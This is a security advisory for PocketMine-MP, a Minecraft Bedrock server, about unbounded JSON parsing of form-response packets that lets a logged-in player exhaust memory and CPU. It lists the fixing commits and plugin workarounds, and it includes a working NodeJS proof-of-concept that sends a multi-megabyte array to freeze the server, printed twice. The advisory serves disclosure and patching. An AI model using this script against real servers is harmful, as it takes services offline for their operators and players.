GHSA-788V-5PFP-93FF
Vulnerability from github – Published: 2026-04-06 22:54 – Updated: 2026-04-06 22:54Impact
The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.
The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.
Patches
The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID
Workarounds
This issue can be worked around in a plugin using DataPacketReceiveEvent by:
- checking the max size of the formData field
- making sure the form ID is not repeated
However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.
PoC
- Join a PocketMine-MP server as a regular player (no special permissions needed).
-
Use a modified client or packet-sending script to send a
ModalFormResponsePacketwith: -
Any non-existent
formId formDatacontaining a massive JSON array (e.g., 10+ MB payload).- The server will attempt to parse the JSON and may freeze or become unresponsive.
Example NodeJS pseudocode:
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'Test';
const client = createClient({
host,
port,
username,
offline: true
});
const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';
client.on('spawn', () => {
console.log('[*] Connected & spawned. Sending malicious packet...');
client.write('modal_form_response', {
formId: 9999, // Form inexistant
formData: hugePayload // JSON énorme
});
console.log('[*] Packet sent. The server should start freezing shortly.');
});
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pocketmine/pocketmine-mp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.39.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T22:54:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player-\u003eforms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n * Any non-existent `formId`\n * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from \u0027bedrock-protocol\u0027;\n\nconst host = \u0027127.0.0.1\u0027;\nconst port = 19132;\nconst username = \u0027Test\u0027;\n\nconst client = createClient({\n host,\n port,\n username,\n offline: true\n});\n\nconst hugePayload = \u0027[\u0027 + \u00270,\u0027.repeat(5_000_000) + \u00270]\u0027;\n\nclient.on(\u0027spawn\u0027, () =\u003e {\n console.log(\u0027[*] Connected \u0026 spawned. Sending malicious packet...\u0027);\n\n client.write(\u0027modal_form_response\u0027, {\n formId: 9999, // Form inexistant\n formData: hugePayload // JSON \u00e9norme\n });\n\n console.log(\u0027[*] Packet sent. The server should start freezing shortly.\u0027);\n});\n```",
"id": "GHSA-788v-5pfp-93ff",
"modified": "2026-04-06T22:54:07Z",
"published": "2026-04-06T22:54:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pmmp/PocketMine-MP"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.